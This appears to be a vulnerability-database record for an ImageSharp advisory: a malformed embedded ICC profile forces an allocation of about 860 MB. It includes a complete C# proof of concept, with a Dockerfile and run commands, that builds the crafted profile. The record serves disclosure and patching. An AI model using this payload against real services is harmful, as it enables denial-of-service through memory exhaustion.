{"id":"CVE-2026-106114","kind":"vulnerability","aliases":["CVE-2026-106114","GHSA-gwg2-r3hj-4w44"],"related":[],"title":"ImageSharp: ICC CLUT parsing allocates from unvalidated channel and grid dimensions","description":"### Summary\n\nA malformed embedded ICC profile can make ImageSharp allocate memory from attacker-controlled CLUT channel and grid dimensions before verifying that the declared CLUT values are present.\n\nIn published v1 through v3 packages, the public lazy ICC parser allocates approximately 115 MB from the 200-byte test profile before rejecting the truncated tag. In published v4 packages, decoding with ICC conversion enabled requests an 860,934,420-byte managed float array from the same profile.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 1.0.0-beta0001, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nThe parser defect is present from the first published NuGet prerelease, `1.0.0-beta0001`, through the latest published release, 4.1.1. The automatic `Image.Load` conversion path used by the main PoC exists in `>= 4.0.0, <= 4.1.1`; earlier versions expose the same parser defect through the public `IccProfile.Entries` accessor.\n### Details\n\nThe reproduced profile has an `A2B0` multi-process-elements (`mpet`) tag with a\n`clut` element declaring 15 input channels, 15 output channels, and three grid\npoints per input channel. [`ReadClutF32`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/ICC/DataReader/IccDataReader.Lut.cs#L139-L162)\ncomputes `3^15 * 15` and allocates that many floats before reading any CLUT\nvalues or verifying that the tag has enough remaining data. The supplied\n200-byte profile ends immediately after the CLUT grid descriptor.\n\nIn v4, the path is reached when an application decodes an embedded ICC profile using\n`DecoderOptions.ColorProfileHandling = ColorProfileHandling.Convert`. The\ndefault setting, `Preserve`, does not parse the profile for conversion.\n\nIn v1 through v3, `ReadClutF32` uses a jagged representation. Loading an ICC-bearing JPEG and then accessing `decoded.Metadata.IccProfile.Entries` reaches the public lazy parser. The malformed profile allocates the `3^15`-entry outer array before the missing CLUT values are detected.\n\n### Reproduction environment and result\n\nThe supplied automatic-conversion exploit and control were run against the published NuGet 4.1.1\n`net8.0` DLL in Docker on Debian 12 / Linux arm64 with .NET SDK 8.0.424 and\n.NET runtime 8.0.30. The same conversion fixture was run against published 4.0.0 and 4.1.0 with the same result.\n\nPublished 1.0.0, 2.0.0, 2.1.13, 3.0.0, and 3.1.12 were tested through public JPEG decode followed by `IccProfile.Entries`; each allocated approximately 114.9 MB, skipped the malformed tag, and exited normally. The published `1.0.0-beta0001` public `IccProfile(bytes).Entries` path allocated 114,813,528 bytes before a catchable managed bounds exception.\n\nOne exploit decode increased `GC.GetTotalAllocatedBytes(true)` by approximately\n861.5 million bytes, then returned\n`InvalidIccProfileException: Invalid conversion method`.\nThe reader catches the truncated-tag error and drops that tag. The identical\ninput with `ColorProfileHandling.Preserve` completed successfully with roughly\n0.5 million allocated bytes in the harness.\n\nOne complete exploit run produced:\n\n```text\nmode=exploit profile_bytes=200 requested_float_array=215233605 requested_bytes=860934420\nimagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll\nimagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\nobserved_exception=SixLabors.ImageSharp.Metadata.Profiles.Icc.InvalidIccProfileException: Invalid conversion method.\nmanaged_bytes_allocated=861476416\nDocker exit status: 0\n```\n\nThe control from the same image produced:\n\n```text\nmode=control profile_bytes=200 requested_float_array=215233605 requested_bytes=860934420\nimagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll\nimagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\ndecoded=1x1 icc_present=True\nmanaged_bytes_allocated=511888\nDocker exit status: 0\n```\n\nThe exact allocation counter includes runtime allocations and varies slightly\nbetween processes; the requested CLUT array itself is 860,934,420 bytes.\n\nNo active exploitation is known.\n\n### Impact\n\nThis report demonstrates a large attacker-controlled transient allocation in\nthe ICC conversion path. It does not demonstrate unhandled process termination:\nallocation failure is caught while parsing the malformed tag, so the impact\nshould be limited to memory pressure / input-validation failure unless a\nreproduction demonstrates a stronger result.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing System;\nusing System.Buffers.Binary;\nusing System.IO;\nusing System.Reflection;\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats;\nusing SixLabors.ImageSharp.Formats.Png;\nusing SixLabors.ImageSharp.Metadata.Profiles.Icc;\nusing SixLabors.ImageSharp.PixelFormats;\n\nstatic class Program\n{\n    private const int RequestedFloats = 215233605; // 3^15 * 15\n    private const int RequestedBytes = RequestedFloats * sizeof(float);\n\n    private static void U32(byte[] bytes, int offset, uint value) => BinaryPrimitives.WriteUInt32BigEndian(bytes.AsSpan(offset, 4), value);\n    private static void U16(byte[] bytes, int offset, ushort value) => BinaryPrimitives.WriteUInt16BigEndian(bytes.AsSpan(offset, 2), value);\n    private static void Ascii(byte[] bytes, int offset, string value) { for (int i = 0; i < value.Length; i++) bytes[offset + i] = (byte)value[i]; }\n\n    // ICC v4 RGB profile containing an A2B0 mpet tag whose CLUT is deliberately\n    // truncated after its grid descriptor. ReadClutF32 still sizes float[] from\n    // the 15 untrusted input/output channels and the grid value of three.\n    private static byte[] BuildTruncatedProfile()\n    {\n        const int tagOffset = 144;\n        const int elementOffset = 168;\n        byte[] profile = new byte[200];\n        U32(profile, 0, (uint)profile.Length);\n        Ascii(profile, 4, \"test\");\n        U32(profile, 8, 0x04000000);\n        U32(profile, 12, 0x6D6E7472); // display device\n        U32(profile, 16, 0x52474220); // RGB\n        U32(profile, 20, 0x58595A20); // XYZ\n        Ascii(profile, 36, \"acsp\");\n        U32(profile, 128, 1);\n        U32(profile, 132, 0x41324230); // A2B0\n        U32(profile, 136, tagOffset);\n        U32(profile, 140, 56);\n        U32(profile, tagOffset, 0x6D706574); // mpet\n        U16(profile, tagOffset + 8, 0);\n        U16(profile, tagOffset + 10, 0);\n        U32(profile, tagOffset + 12, 1);\n        U32(profile, tagOffset + 16, 24); // element offset relative to tag start\n        U32(profile, tagOffset + 20, 32);\n        U32(profile, elementOffset, 0x636C7574); // clut\n        U16(profile, elementOffset + 4, 15);\n        U16(profile, elementOffset + 6, 15);\n        for (int i = 0; i < 15; i++) profile[elementOffset + 8 + i] = 3;\n        return profile;\n    }\n\n    private static byte[] BuildPng(byte[] icc)\n    {\n        using var image = new Image<Rgba32>(1, 1);\n        image.Metadata.IccProfile = new IccProfile(icc);\n        using var output = new MemoryStream();\n        image.Save(output, new PngEncoder());\n        return output.ToArray();\n    }\n\n    public static int Main(string[] args)\n    {\n        string mode = args.Length == 1 ? args[0] : \"exploit\";\n        if (mode is not (\"exploit\" or \"control\")) throw new ArgumentException(\"mode must be exploit or control\");\n        Console.WriteLine($\"mode={mode} profile_bytes=200 requested_float_array={RequestedFloats} requested_bytes={RequestedBytes}\");\n        Console.WriteLine($\"imagesharp_assembly={typeof(Image).Assembly.Location}\");\n        Console.WriteLine($\"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?.InformationalVersion}\");\n        long before = GC.GetTotalAllocatedBytes(true);\n        try\n        {\n            byte[] png = BuildPng(BuildTruncatedProfile());\n            var options = new DecoderOptions\n            {\n                ColorProfileHandling = mode == \"exploit\" ? ColorProfileHandling.Convert : ColorProfileHandling.Preserve\n            };\n            using Image decoded = Image.Load(options, png);\n            Console.WriteLine($\"decoded={decoded.Width}x{decoded.Height} icc_present={decoded.Metadata.IccProfile is not null}\");\n        }\n        catch (Exception exception)\n        {\n            Console.WriteLine($\"observed_exception={exception.GetType().FullName}: {exception.Message}\");\n        }\n        Console.WriteLine($\"managed_bytes_allocated={GC.GetTotalAllocatedBytes(true) - before}\");\n        return 0;\n    }\n}\n\n```\n\nProject file:\n\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n  <PropertyGroup>\n    <OutputType>Exe</OutputType>\n    <TargetFramework>net8.0</TargetFramework>\n    <ImplicitUsings>disable</ImplicitUsings>\n    <Nullable>enable</Nullable>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"SixLabors.ImageSharp\">\n      <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>\n      <Private>true</Private>\n    </Reference>\n    <Reference Include=\"System.IO.Hashing\">\n      <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>\n      <Private>true</Private>\n    </Reference>\n  </ItemGroup>\n</Project>\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\nWORKDIR /work\nCOPY gwg2.csproj Program.cs ./\n# Restore only to obtain the published package. The repro project then uses a\n# direct DLL reference so ImageSharp's package build target is not invoked.\nRUN printf '%s\\n' '<Project Sdk=\"Microsoft.NET.Sdk\"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /></ItemGroup></Project>' > fetch.csproj \\\n    && dotnet restore fetch.csproj --nologo \\\n    && rm fetch.csproj \\\n    && dotnet build gwg2.csproj -c Release --nologo -v quiet\nENTRYPOINT [\"dotnet\", \"/work/bin/Release/net8.0/gwg2.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-gwg2-poc .\ndocker run --rm imagesharp-gwg2-poc exploit\ndocker run --rm imagesharp-gwg2-poc control\n```","summary":"A crafted embedded ICC color profile makes ImageSharp allocate about 860 MB from attacker-controlled channel and grid values before checking the data exists. The reproduction shows a large transient allocation and a caught exception, not a crash or code execution.","severity":"medium","cvss":5.3,"epss":0.00328,"exploited":false,"exploited_at":null,"products":[{"name":"SixLabors.ImageSharp","fixed":["4.1.2"],"affected":">= 4.0.0, < 4.1.2","ecosystem":"nuget"},{"name":"SixLabors.ImageSharp","fixed":["3.2.0"],"affected":">= 1.0.0-beta0001, < 3.2.0","ecosystem":"nuget"},{"name":"sixlabors imagesharp","fixed":["3.2.0"],"affected":">= 1.0.0, < 3.2.0","ecosystem":"vendor"},{"name":"sixlabors imagesharp","fixed":["4.1.2"],"affected":">= 4.0.0, < 4.1.2","ecosystem":"vendor"}],"ecosystems":["nuget","vendor"],"tags":["cwe-789","dotnet","image-processing","imagesharp","nuget","package"],"not_affected_if":["default-config","trusted-input-only"],"how_to_check":"- Run `dotnet list package` and look for `SixLabors.ImageSharp` below `4.1.2` or below `3.2.0`\n- Check whether the app sets `ColorProfileHandling.Convert` on decoder options, which is the path that triggers the 860 MB allocation in v4","fix":"- Upgrade `SixLabors.ImageSharp` to `4.1.2` on the v4 line\n- Upgrade `SixLabors.ImageSharp` to `3.2.0` on the v1 to v3 line","status":"open","published_at":"2026-10-06T18:16:53+00:00","first_seen_at":"2026-10-26T14:21:29+00:00","triaged_at":"2026-10-26T14:21:41+00:00","updated_at":"2026-10-26T14:30:37+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-26T14:21:41Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `SixLabors.ImageSharp` to `4.1.2` on the v4 line\n- Upgrade `SixLabors.ImageSharp` to `3.2.0` on the v1 to v3 line","reach":"internet","title":"ImageSharp: malformed ICC profile forces huge allocation during image load","impact":"medium","summary":"A crafted embedded ICC color profile makes ImageSharp allocate about 860 MB from attacker-controlled channel and grid values before checking the data exists. The reproduction shows a large transient allocation and a caught exception, not a crash or code execution.","category":"package","nicknames":[],"who_cares":["dotnet","nuget","imagesharp","image-processing"],"confidence":0.8,"needs_auth":"no","worst_case":"Large memory spike per crafted image; process may run out of memory under load.","analyst_note":"","how_to_check":"- Run `dotnet list package` and look for `SixLabors.ImageSharp` below `4.1.2` or below `3.2.0`\n- Check whether the app sets `ColorProfileHandling.Convert` on decoder options, which is the path that triggers the 860 MB allocation in v4","needs_analyst":false,"not_affected_if":["default-config","trusted-input-only"],"who_is_affected":"Applications that decode untrusted images with ImageSharp and accept embedded ICC profiles are exposed to memory pressure. On v4, the path needs ColorProfileHandling set to Convert, which is not the default; on v1 to v3, reading IccProfile.Entries from an untrusted JPEG reaches the parser. Services that only process trusted images or never read ICC profile data can skip it.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.001077,"input_tokens":7680,"output_tokens":619,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'+0815358':527C,569C '-106114':14A,22A '-2026':13A,21A '-789':30B '/sixlabors/imagesharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/imagesharp/metadata/profiles/icc/datareader/iccdatareader.lut.cs#l139-l162)':254C '/work/bin/release/net8.0/sixlabors.imagesharp.dll':523C,565C '0':542C '0.5':496C '0815358f9202a78bc7f3b83e19282dc3654b500f':170C '1.0.0':166C,186C,411C,440C '114':448C '114.9':429C '115':122C '12':384C '15':238C,241C,257C,258C,348C '1x1':572C '2.0.0':412C '2.1.13':413C '200':126C,280C,513C,555C '215233605':517C,559C '3':256C,347C '3.0.0':414C '3.1.12':416C '4.0.0':206C,403C '4.1.0':405C '4.1.1':168C,193C,207C,377C,526C,568C '420':148C '4w44':19A '511888':579C '528':450C '8.0.30':394C '8.0.424':390C '813':449C '860':48B,146C '860934420':520C,562C '861.5':466C '861476416':538C '934':147C 'a2b0':226C 'access':335C 'accessor':219C 'affect':157C,164C 'alloc':5A,46B,69B,89C,120C,260C,345C,427C,447C,498C,537C,578C 'applic':298C 'approxim':121C,428C,465C 'arm64':386C 'array':152C,351C,516C,558C 'assembl':522C,564C 'attack':52B,93C 'attacker-control':51B,92C 'automat':195C,366C 'automatic-convers':365C 'bear':331C 'beta0001':167C,187C,441C 'bound':456C 'byte':127C,149C,281C,444C,451C,468C,499C,512C,519C,536C,554C,561C,577C 'catch':477C 'catchabl':454C 'caught':72B 'channel':8A,54B,96C,240C,243C,250C 'check':59B 'clut':3A,95C,105C,235C,267C,287C,355C 'code':78B 'color':42B 'colorprofilehandling.convert':306C 'colorprofilehandling.preserve':491C 'commit':169C 'complet':492C,504C 'comput':255C 'control':53B,94C,370C,544C,552C 'convers':142C,197C,317C,367C,397C,473C,533C 'correspond':171C 'craft':39B 'crash':76B 'cve':12A,20A 'cwe':29B 'data':61B,277C 'debian':383C 'declar':104C,237C 'decod':139C,299C,422C,460C,571C 'decoded.metadata.iccprofile.entries':336C 'decoderoptions.colorprofilehandling':305C 'default':308C 'defect':177C,214C 'descriptor':289C 'detail':220C 'detect':358C 'dimens':11A,99C 'dll':379C 'docker':381C,539C,580C 'dotnet':31B 'drop':484C 'earlier':208C 'element':230C,236C 'embed':40B,83C,301C 'enabl':143C 'end':283C 'enough':275C 'entri':349C,445C 'environ':360C 'error':482C 'except':73B,457C,530C 'execut':79B 'exist':62B,204C 'exit':436C,540C 'exploit':368C,459C,505C,510C 'expos':210C 'f9202a78bc7f3b83e19282dc3654b500f':528C,570C 'first':182C 'fixtur':398C 'float':151C,263C,515C,557C 'follow':423C 'gc.gettotalallocatedbytes':462C 'ghsa':16A 'ghsa-gwg2-r3hj-4w44':15A 'github.com':253C 'github.com/sixlabors/imagesharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/imagesharp/metadata/profiles/icc/datareader/iccdatareader.lut.cs#l139-l162)':252C 'grid':10A,56B,98C,246C,288C 'gwg2':17A 'har':502C 'icc':2A,41B,84C,118C,141C,302C,330C,573C 'icc-bear':329C 'iccprofil':443C 'iccprofile.entries':218C,425C 'ident':488C 'imag':33B,548C 'image-process':32B 'image.load':196C 'imagesharp':1A,26A,28A,35B,45B,88C,521C,524C,563C,566C 'immedi':284C 'increas':461C 'input':239C,249C,489C 'invalid':472C,532C 'invalidiccprofileexcept':471C 'jag':325C 'jpeg':332C,421C 'larg':67B 'latest':190C 'lazi':117C,340C 'linux':385C 'load':327C 'main':202C 'make':44B,87C 'malform':82C,343C,433C 'manag':150C,455C,535C,576C 'mani':262C 'mb':49B,123C,430C 'memori':90C 'method':474C,534C 'million':467C,497C 'miss':354C 'mode':509C,551C 'mpet':231C 'multi':228C 'multi-process-el':227C 'net':388C,392C 'net8.0':378C 'normal':437C 'nuget':36B,163C,184C,376C 'observ':529C 'one':458C,503C 'outer':350C 'output':242C 'packag':37B,114C,138C,158C,161C 'pars':4A,313C 'parser':119C,176C,213C,341C 'path':198C,293C,446C 'per':248C 'poc':203C 'point':247C 'prereleas':185C 'present':108C,179C,574C 'preserv':310C 'process':34B,229C 'produc':507C,549C 'profil':43B,85C,129C,156C,223C,282C,303C,315C,344C,511C,553C 'public':116C,217C,339C,420C,442C 'publish':110C,136C,183C,191C,375C,402C,410C,439C 'r3hj':18A 'rang':165C 'reach':295C,337C 'read':265C 'readclutf32':251C,322C 'reader':476C 'reject':131C 'releas':173C,192C 'remain':276C 'represent':326C 'reproduc':222C 'reproduct':64B,359C 'request':144C,514C,518C,556C,560C 'result':362C,409C 'return':470C 'rough':495C 'run':372C,400C,506C 'runtim':393C 'sdk':389C 'set':309C 'show':65B 'sixlabors':25A,27A 'sixlabors.imagesharp':23A,24A,162C 'sixlabors.imagesharp.metadata.profiles.icc.invalidiccprofileexception':531C 'skip':431C 'status':541C 'success':493C 'summari':80C 'suppli':279C,364C 'tag':134C,232C,273C,434C,481C,486C 'test':128C,418C 'text':508C,550C 'three':245C 'transient':68B 'true':463C,575C 'truncat':133C,480C 'truncated-tag':479C 'unvalid':7A 'use':199C,304C,323C 'v1':111C,319C 'v3':113C,321C 'v4':137C,291C 'v4.1.1':174C 'valu':57B,106C,268C,356C 'verifi':101C,270C 'version':160C,209C,525C,567C","nicknames":[],"mitigations":[],"who_affected":"Applications that decode untrusted images with ImageSharp and accept embedded ICC profiles are exposed to memory pressure. On v4, the path needs ColorProfileHandling set to Convert, which is not the default; on v1 to v3, reading IccProfile.Entries from an untrusted JPEG reaches the parser. Services that only process trusted images or never read ICC profile data can skip it.","tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-06T18:16:53+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-gwg2-r3hj-4w44","url":"https://github.com/advisories/GHSA-gwg2-r3hj-4w44","severity":"medium","published_at":"2026-10-07T20:24:19+00:00","modified_at":"2026-10-26T14:17:38+00:00","first_seen_at":"2026-10-26T14:21:29+00:00","fetched_at":"2026-10-26T14:21:29+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-106114","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106114","severity":null,"published_at":"2026-10-06T18:16:53+00:00","modified_at":"2026-10-24T01:29:21+00:00","first_seen_at":"2026-10-26T14:30:37+00:00","fetched_at":"2026-10-26T14:30:37+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}